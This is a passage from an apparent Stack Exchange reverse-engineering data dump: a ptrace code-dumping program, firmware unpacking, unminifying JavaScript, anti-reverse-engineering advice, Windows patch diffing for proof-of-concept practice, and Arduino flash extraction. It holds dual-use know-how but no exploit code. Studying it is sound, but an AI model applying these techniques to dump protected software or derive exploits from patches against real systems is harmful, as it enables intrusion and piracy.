wait(&amp;amp;status);&#xA;            if(WIFEXITED(status))&#xA;                break;&#xA;&#xA;            // get registers for the instruction pointer&#xA;            ptrace(PTRACE_GETREGS, pid, NULL, &amp;amp;regs);&#xA;&#xA;            // strace ./bin&#xA;            // brk(0) = 0x804a000&#xA;            if(regs.eip&amp;gt;0x804a000)&#xA;            {&#xA;                printf(&quot;in code section at EIP=%lx\n&quot;,regs.eip);&#xA;                unsigned int i;&#xA;&#xA;                // Dump code&#xA;                for(i=0; i&amp;lt;0x1000; i+=4) {&#xA;                    long data = ptrace(PTRACE_PEEKTEXT, pid, regs.eip+i, 0);&#xA;                    printf(&quot;%lx&quot;,data);&#xA;                }&#xA;            }&#xA;&#xA;            // single step in child process&#xA;            ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As Gilles pointed out, you can't read &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; to get the adresses of the code area, but I recognized that &lt;code&gt;strace&lt;/code&gt; has this nice single line &lt;code&gt;brk(0) = 0x804a000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I single step through the child process, until EIP is around this value; then, I dump 0x1000 bytes.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="189" LastEditDate="2013-06-20T16:32:37.733" LastActivityDate="2013-06-20T16:32:37.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="2" ParentId="108" CreationDate="2013-03-21T03:15:41.703" Score="11" Body="&lt;p&gt;Not really an optimization, but one gotcha that you must be aware of when coming from x86 is this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Any operation on a 32-bit register zeroes out the top half of the 64-bit one&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For example, the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is actually equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also applies to the new registers &lt;code&gt;r8&lt;/code&gt;-&lt;code&gt;r15&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;inc r8d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also zeroes out the top half of &lt;code&gt;r8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, the 8-bit and 16-bit portions of registers do not work like that, i.e. operations on them modify only that part of the register.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-21T03:15:41.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="2" ParentId="109" CreationDate="2013-03-21T04:21:05.900" Score="4" Body="&lt;p&gt;I doubt this is an RE question. deb is a known format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also deb is a .ar it just has a specific internal structure you can decompress it with ar. or use undeb if you want to be fancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.g-loaded.eu/2008/01/28/how-to-extract-rpm-or-deb-packages/&quot; rel=&quot;nofollow&quot;&gt;howto for deb and rpm&lt;/a&gt; just for reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that deb is usually a binary format and you can't really convert it to source.. unless of course it is a source deb! Any installation you do should probably be done into /opt and add the appropriate directories to your path so you don't pollute your installation with untracked binaries.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-21T04:26:38.847" LastActivityDate="2013-03-21T04:26:38.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="1" AcceptedAnswerId="117" CreationDate="2013-03-21T04:24:08.590" Score="8" ViewCount="3897" Body="&lt;p&gt;Say I have a binary that I'm not able to execute (for example it runs on some device that I don't have one of), but I can disassemble it. I can get the docs on the architecture. (It's MIPS little endian in my case.) But the binary has very few imports, very few strings, etc., so it really seems like it's packed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about &lt;em&gt;statically&lt;/em&gt; unpacking it? (Edit: I mean, unpacking it without any access to the original device.)&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="189" LastEditDate="2013-03-26T08:17:32.190" LastActivityDate="2013-03-26T16:17:16.000" Title="Unpacking binary statically" Tags="|obfuscation|unpacking|executable|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostTypeId="2" ParentId="64" CreationDate="2013-03-21T05:16:21.527" Score="16" Body="&lt;p&gt;I prefer to use the pretty printer inbuilt in Google Chrome's Developer Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the minified Code:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PVsC6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On pressing the pretty print button, you get the following:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lco7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2013-03-21T05:16:21.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="2" ParentId="64" CreationDate="2013-03-21T06:49:12.463" Score="22" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm specifically looking to unminify a minified JavaScript file. Variable renaming is not a big issue, I want it sufficiently readable to be able to analyze the execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your question title indicates merely reversing minified code, and not necessarily understanding it. But if you are attempting to gain an understanding of it, Opera Dragonfly sounds like a tool you may find very useful...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have always used Dragonfly for analyzing minified code. In addition to having a pretty printer, it also has incredibly handy analysis functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is jQuery.min in all it's minified glory...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HEuPT.jpg&quot; alt=&quot;jQuery, in all its minified glory.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button I circled here is the pretty printer which suddenly turns the code into something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AD0in.jpg&quot; alt=&quot;Beautified jQuery.min&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is a nice start, but it is still very difficult to understand without some idea of what it looks like during execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to determine what part of a minified file's functionality you are trying to understand. &lt;i&gt;Event&lt;/i&gt; breakpoints are incredibly handy for this because you can set them for almost any user input, or on an element's load. For example, if I wanted to see what happens in jQuery when a mouseover event occurs, I could add an event breakpoint for &quot;mouseover&quot;. That way I can see where the entry point into the code is when I move my mouse over a specific element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your code hits a breakpoint, you get into a mode where you can, like in many DOM debuggers, interact with the current state of the code you are inspecting. But you are able to do it by hovering the mouse over sections of code so it's really quite easy to keep the code context in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSuow.jpg&quot; alt=&quot;Event breakpoint and analysis.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also inspect scope and who references what from the &quot;State&quot; sub-tab in the Scripts tab in the same way as you can with the source window. So you can see if a variable overrides another, or if fancy closure magic is happening somewhere, or what scope a variable actually originated from. Also if you look at a DOM element, you can mouse over that to highlight it on the page. (See last picture.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vYUmG.jpg&quot; alt=&quot;State tab.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Dragonfly console also has this mouseover functionality... Also everything has tab completion, so you can execute any code from any state, inspect at any level of execution, reassign variables, run tests, or just navigate around with [Tab] completion to do just about anything to figure out what the code you are looking at does.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/876G2.jpg&quot; alt=&quot;Console tab.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opera's inspector will definitely aid in reversing and understanding minified or obfuscated code.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-03-21T06:55:51.373" LastActivityDate="2013-03-21T06:55:51.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="2" ParentId="113" CreationDate="2013-03-21T07:43:00.673" Score="2" Body="&lt;p&gt;My general answer would be &quot;by simulating self-modifying operations against the packed binary&quot;.  So for example, this would encompass removing the compression that most packers are veiled under.  Doing so will require &quot;statically tracing&quot; the execution flow through the packer, whose code may be subject to self-modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That explanation works for a traditional style of packing, wherein the sections of the binary are merely compressed/encrypted.  It might be the case that more sophisticated unpacking strategies are required, for example as described in my paper &quot;Unpacking Virtualization Obfuscators&quot; &lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-21T07:43:00.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="2" ParentId="113" CreationDate="2013-03-21T08:47:32.300" Score="8" Body="&lt;p&gt;Over the 30+ embedded device firmwares I've seen in the past I have rarely seen them using anything proprietary. Often it's just gzip/LZMA or a similar compression they're using (albeit sometimes with modified or stripped headers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus as a first step I would try something like &lt;a href=&quot;http://code.google.com/p/binwalk/&quot;&gt;binwalk&lt;/a&gt; to search for known compression algorithms. If that doesn't help try tools for finding crypto constants such as &lt;a href=&quot;http://www.hexblog.com/ida_pro/files/findcrypt2.zip&quot;&gt;Find Crypt&lt;/a&gt; or &lt;a href=&quot;http://aluigi.altervista.org/mytoolz/signsrch.zip&quot;&gt;Sign search&lt;/a&gt;. This only works if the crypto is a software implementation. If it's a more sophisticated device, say a set-top-box, with a hardware accelerated decryption engine and OTP memory for storing the key then you're out of luck without run-time access (unless they greatly screw up passing the key from OTP to the decryption engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you could try to find out if they use some proprietary algorithm and either emulate that algorithm using &lt;a href=&quot;http://wiki.qemu.org/Main_Page&quot;&gt;QEMU&lt;/a&gt; or &lt;a href=&quot;http://gxemul.sourceforge.net/&quot;&gt;gxemul&lt;/a&gt; or write your own decompressor in higher level language.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-03-21T08:47:32.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="1" AcceptedAnswerId="119" CreationDate="2013-03-21T11:05:10.740" Score="32" ViewCount="9387" Body="&lt;p&gt;If I am building a C++ application and I want to make it more difficult to reverse engineer, what steps can I take to do this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does the choice of compiler affect this?&lt;/li&gt;&#xA;&lt;li&gt;What about compiler flags, presumably a high optimization level would help, what about other flags?&lt;/li&gt;&#xA;&lt;li&gt;Does stripping symbols help and not building with debug symbols?&lt;/li&gt;&#xA;&lt;li&gt;Should I encrypt any internal data such as static strings?&lt;/li&gt;&#xA;&lt;li&gt;What other steps might I take?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="93" LastEditorUserId="107" LastEditDate="2013-03-21T13:05:35.980" LastActivityDate="2023-06-04T02:35:08.987" Title="What kinds of steps can I take to make my C++ application harder to reverse engineer?" Tags="|obfuscation|compilers|c++|symbols|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="2" ParentId="118" CreationDate="2013-03-21T12:24:09.393" Score="39" Body="&lt;p&gt;&lt;strong&gt;Compiler&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The choice of a compiler has minimal effects on the difficulty to reverse engineer your code. The important things to minimize are all related to information leaks from your code. You want to at least disable any runtime type information (RTTI). The leakage of type information and the simplicity of the instruction set of the virtual machine is one of the reasons CLR and JVM code is easier to reverse engineer. They also have an JIT which applies optimizations to code which may reduce the strength of obfuscation. Obfuscation is basically the opposite of optimization and a lot of obfuscations are solved by first applying an optimization pass.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Debugging information&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would advise you to also turn off any debugging information, even if it doesn't leak any majorly important information today it might do so tomorrow. The amount of information leakage from the debug information varies from compiler to compiler and from binary format to binary format. For instance, Microsoft Visual C++ keeps all important debugging information in an external database, usually in the form of a PDB. The most you might leak is the path you used when building your software.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Strings&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When it comes to strings you should definitely encrypt them if you need them at all. I would aim to replace all the ones that are for error tracing and error logging with numeric enumerations. Strings that reveal any sort of information about what is going on right now in your binary need to be unavailable. If you encrypt the strings, they will be decrypted. Try to avoid them as much as possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;System APIs&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another strong source of information leakage is imports of system APIs. You want to make sure that any imported function which has a known signature is well-hidden and can not be found using automatic analysis. So an array of function pointers from something like LoadLibrary/GetProcAddress is out of the question. All calls to imported functions need to go through a one-way function and need to be embedded within an obfuscated block.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Standard runtime libraries&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Something a lot of people forget to take into consideration is the information leaked by standard libraries, such as the runtime of your C++ compiler. I would avoid the use of it completely. This is because most experienced reverse engineers will have signatures prepared for a lot of standard libraries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Obfuscation&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should also cover any critical code with some sort of heavy obfuscation. Some of the heavier and cheaper obfuscations right now are &lt;a href=&quot;http://oreans.com/codevirtualizer.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;CodeVirtualizer/Themida&lt;/a&gt; and &lt;a href=&quot;http://vmpsoft.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMProtect&lt;/a&gt;. Be aware that these packages have an abundance of defects though. They will sometimes transform your code to something which will not be the equivalent of the original which can lead to instability. They also slow down the obfuscated code significantly. A factor of 10000 times slower is not uncommon. There's also the issue of triggering more false positives with anti-virus software. I would advise you to sign your software using a reputable certificate authority.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Separation of functional blocks&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The separation of code into functions is another thing that makes it easier to reverse-engineer a program. This applies especially when the functions are obfuscated because it creates boundaries around which the reverse engineer can reason about your software. This way the reverse engineer can solve your program in a divide-and-conquer manner. Ideally, you would want your software in one effective block with obfuscation applied uniformly to the entire block as one. To reduce the number of blocks, use inlining very generously and wrap them in a good obfuscation algorithm. The compiler can easily do some heavy optimizations and stack ordering which will make the block harder to reverse engineer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Runtime&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you hide information it is important that the information is well hidden at runtime as well. A competent reverse engineer will examine the state of your program as it is running. So using static variables that decrypt when loaded or by using packing which is completely unpacked upon loading will lead to a quick find. Be careful about what you allocate on the heap. All heap operations go via API calls and can be easily logged to a file and reasoned about. Stack operations are generally harder to keep track of just because of how frequent they are. Dynamic analysis is just as important as static. You need to be aware of what your program state is at all times and what information lies where.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Anti-debugging&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Anti-debugging is worthless. Do not spend time on it. Spend time on making sure your secrets are well hidden independent of whether your software is at rest or not.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Packing and encrypting code segment&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I will group encryption and packing into the same category. They both serve the same purpose and they both have the same issues. In order to execute the code, the CPU needs to see the plain text. So you have to provide the key in the binary. The only remotely effective way of encrypting and packing code segments is if you encrypt and decrypt them at functional boundaries and only if the decryption happens upon function entry and then re-encryption happens when leaving the function. This will provide a small barrier against dumping your binary as it is running but is must be coupled with strong obfuscation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Finally&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Study your software in something like the free version of IDA. Your goal is to make sure that it becomes virtually impossible for the reverse engineer to find a steady mental footing. The less information you leak and the more changing the environment is, the harder it will be to study. If you're not an experienced reverse engineer, designing something hard to reverse engineer is almost impossible.&lt;/p&gt;&#xA;&lt;p&gt;If you're designing a copy protection system prepare for it to be broken mentally. Make sure you have a plan for how you will deal with the break and how to make sure the next version of your software adds enough value to drive upgrades. Build your system on solid ground which can not be broken, do not resort to generating your own license keys using some custom algorithm hidden in the manner I described above. The system needs to be built on a sound cryptographic foundation for the unforgeability of messages.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="42335" LastEditDate="2023-06-04T02:35:08.987" LastActivityDate="2023-06-04T02:35:08.987" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="120" PostTypeId="1" AcceptedAnswerId="178" CreationDate="2013-03-21T12:53:55.163" Score="9" ViewCount="303" Body="&lt;p&gt;For the purpose of learning about the complexities involved in writing PoC's (and gaining experience in) one could do patch diffing and have real world vulnerable examples to practice on. For now please disregard the idea of making your own vulnerable programs.&lt;/p&gt;&#xA;&lt;p&gt;For patch diffing I see 3 states an OS can be in, let's take windows 7 as example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Plain state (no service packs, no patches)&lt;/li&gt;&#xA;&lt;li&gt;Partially patched (not updated to the latest released patches)&lt;/li&gt;&#xA;&lt;li&gt;Fully patched&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My vmware/vbox system is in state 3 (fully patched).&lt;/li&gt;&#xA;&lt;li&gt;Next I go to the Microsoft Security Bulletin and pick a vulnerability (e.g. kernel).&lt;/li&gt;&#xA;&lt;li&gt;Now I want to revert to a useful state...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Although it will likely work on the plain state(1), the diff results will be bigger/harder to spot the issue. Secondly, the bug to the latest vulnerability could have been introduced by a previous patch/service pack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Therefore, how does one go from OS state 3 to state 2, where state 2 is a system patched up to just before the new patch that resolves the issue? Or if more convenient, from state 1 to state 2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&lt;p&gt;I realize my question isn't as clear as I thought it was in my head, hopefully this clarifies a bit&lt;/p&gt;&#xA;&lt;p&gt;I'm aware of the snapshot features of vmware/vbox but that is not what I'm looking for. What I'm actually aiming for is&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to get the old versions of the changed binaries?&lt;/li&gt;&#xA;&lt;li&gt;How to know to which version to revert? Is there some naming scheme in the files?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My system is fully up to date.&lt;/li&gt;&#xA;&lt;li&gt;I find a KB-XXXXX at the Security bulletin, extract it and it gives me an updated .dll named abc_005.dll&lt;/li&gt;&#xA;&lt;li&gt;Now I want to put my system in a state that I get the previous (vulnerable) version of the dll (e.g. abc_004.dll). &amp;lt;- How would I do this part?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="225" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-23T09:21:57.000" Title="How to manage/revert to specific OS versions for effective patch diffing?" Tags="|windows|operating-systems|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="2" ParentId="90" CreationDate="2013-03-21T13:29:35.717" Score="2" Body="&lt;p&gt;You can use a profiler and debug tool in your browser to examine the website. Webkit browsers (like Google chromium) have those build in. Firefox has a good plugin called firebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the profiler you can see which functions are called how often, which can give you an idea where to look. Then with the debugger you can set break points in the javascript code to narrow down the exact location&lt;/p&gt;&#xA;" OwnerUserId="230" LastActivityDate="2013-03-21T13:29:35.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="122" PostTypeId="5" CreationDate="2013-03-21T13:37:46.793" Score="0" Body="&lt;p&gt;Obfuscation is the process by which the code is altered so that a reverser find it impossible to read any clear indications of what the intended program does or how it operates. The larger the program the greater the obfuscation, as code becomes intertwined linking different segments through out the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it may be possible to use a disassembler to figure out how certain aspects within a program function,  it requires knowledge of assembly. Assembly language by its nature is non-trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to increase obfuscation is to use packers.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="4437" LastEditDate="2014-05-06T15:29:36.993" LastActivityDate="2014-05-06T15:29:36.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="4" CreationDate="2013-03-21T13:37:46.793" Score="0" Body="Concealing the nature of how things truly function or work." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-21T15:16:37.713" LastActivityDate="2013-03-21T15:16:37.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="2" ParentId="120" CreationDate="2013-03-21T14:29:15.510" Score="3" Body="&lt;p&gt;VMWare offers a very useful &lt;a href=&quot;http://kb.vmware.com/kb/1009402&quot; rel=&quot;nofollow&quot;&gt;snapshot functionality&lt;/a&gt; which makes it extremely simple to switch beween different states of the same VM. You can automate the process with VIX.&lt;br&gt;&#xA;I assume other VM solutions have something similar as well.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-21T14:29:15.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="1" AcceptedAnswerId="127" CreationDate="2013-03-21T14:30:15.477" Score="37" ViewCount="31842" Body="&lt;p&gt;I have an Arduino Uno Rev3. I would like to extract and find out what code is burned on the ROM of the micro-controller board. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I extract the code from the board?&lt;/li&gt;&#xA;&lt;li&gt;How do I figure out the original source code that went into the hex file? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="189" LastEditorUserId="270" LastEditDate="2013-04-09T22:15:37.037" LastActivityDate="2018-05-11T08:08:11.743" Title="How do I figure out what is burned on an Arduino ROM?" Tags="|decompilation|rom|dumping|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostTypeId="2" ParentId="120" CreationDate="2013-03-21T14:42:59.323" Score="3" Body="&lt;p&gt;I'm not 100% sure I understand your question but I'll try to answer it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I would prepare VMs for the Windows versions you want to target. Every day you could create a snapshot which means that you can go back to that point in time at any future date. Snapshotting is something most VMs support. Then I would run Windows update on the VMs. This means that you will build a large catalog of versions of Microsoft DLLs over time. You could also pull the binaries and their PDBs from Microsoft Symbol servers but this requires knowing their hashes as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you would follow the &lt;a href=&quot;http://technet.microsoft.com/en-us/security/bulletin&quot; rel=&quot;nofollow&quot;&gt;Microsoft Security Bulletins&lt;/a&gt;. Select the product you're interested in and select the most recent patches only. Study the security bulletin article. If a security bulletin is found to be interesting you'd go to the knowledge base article linked from the security bulletin. There you can study what files were patched. If it's still something you're interested in you'd download the patch from the security bulletin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the patch file need to extract using one of the following commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setup.exe /t:C:[dest_dir] /c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.msu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;expand -F:* [update_filename.msu] C:[tmp_dest_dir]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cd [tmp_dest_dir]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;expand -F:* [extracted_update_filename.cab] C:[final_dest_dir]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.msp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;msix [update_filename.msp] /out C:[dest_dir]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.msi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;msiexec /a [update_filename.msi] /qb TARGETDIR=C:[target_dir]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the extracted folder you should find the files indicated in the knowledge base article. If you've been following the proper snapshot policy you should have an older version available in the snapshot created this morning. Pull that version out of the virtual machine and use &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow&quot;&gt;BinDiff&lt;/a&gt; in order to explore the differences.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-21T14:48:23.000" LastActivityDate="2013-03-21T14:48:23.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostTypeId="2" ParentId="125" CreationDate="2013-03-21T15:18:14.890" Score="38" Body="&lt;p&gt;I'll answer this in two parts, #1 is relatively easy, #2 impossible to the level which I'm assuming you want.&lt;/p&gt;&#xA;&lt;h2&gt;1. Extracting the hex code from the Uno:&lt;/h2&gt;&#xA;&lt;p&gt;While the specifics will depend on the revision of the Uno that you have, you'll want to use avrdude (&lt;a href=&quot;http://savannah.nongnu.org/projects/avrdude&quot; rel=&quot;noreferrer&quot;&gt;available for linux, bundled with the OS X Arduino software&lt;/a&gt;) and a command similar to the following that would extract the information from an ATmega168:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;avrdude -F -v -pm168 -cstk500v1 -P/dev/ttyUSB0 -b19200 -D -Uflash:r:program.bin:r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Look at the &lt;a href=&quot;http://www.nongnu.org/avrdude/user-manual/avrdude_4.html#Option-Descriptions&quot; rel=&quot;noreferrer&quot;&gt;avrdude documentation&lt;/a&gt; to match the part parameter &lt;code&gt;-p&lt;/code&gt; specific to your device (or post them and we can go from there).&lt;/p&gt;&#xA;&lt;p&gt;Since it appears that you have the &lt;a href=&quot;http://arduino.cc/en/Main/arduinoBoardUno&quot; rel=&quot;noreferrer&quot;&gt;Uno Rev3&lt;/a&gt;, that board has an ATmega328 (&lt;code&gt;-pm328&lt;/code&gt;).  The programmer &amp;quot;communicates using the original STK500 protocol&amp;quot; thus the communication protocol flag &lt;code&gt;-c&lt;/code&gt; should be &lt;code&gt;-cstk500v1&lt;/code&gt; the command you would need (assuming the Uno is connected to /dev/ttyUSB0) follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;avrdude -F -v -pm328p -cstk500v1 -P/dev/ttyUSB0 -b19200 -D -Uflash:r:program.bin:r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next up your second question.&lt;/p&gt;&#xA;&lt;h2&gt;2. Converting Hex code to original source:&lt;/h2&gt;&#xA;&lt;p&gt;Sorry, but that's not possible. While you can get some hex to c &amp;quot;decompilers&amp;quot; the gibberish returned, while functionally correct, will not be human readable (some commercial ones, like Hex-Rays, might give you some level of human-readability).&lt;/p&gt;&#xA;&lt;p&gt;With that said, you're best bet would be a hex to assembly translator/converter - which will still only give you a better picture of what's happening, but will still be (by definition) very low level. All variable names, comments etc would be stripped and you're still going to be left with not knowing the original source program contents - just the compiled result.&lt;/p&gt;&#xA;&lt;p&gt;Since you're dealing with an Atmel device you &lt;em&gt;could&lt;/em&gt; try to use the avr specific gcc toolchain &lt;code&gt;avr-gcc&lt;/code&gt;. Specifically, you'll need &lt;code&gt;avr-objdump&lt;/code&gt; using the needed MCU type flag &lt;code&gt;-m atmega328&lt;/code&gt; (avr5) architecture (&lt;a href=&quot;http://www.nongnu.org/avr-libc/user-manual/using_tools.html&quot; rel=&quot;noreferrer&quot;&gt;Full List of Available Architectures, MCU types&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;avr-objdump -s -m atmega328 program.hex &amp;gt; program.dump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is also possible, depending on your configuration, that providing the architecture type itself (avr5) would be 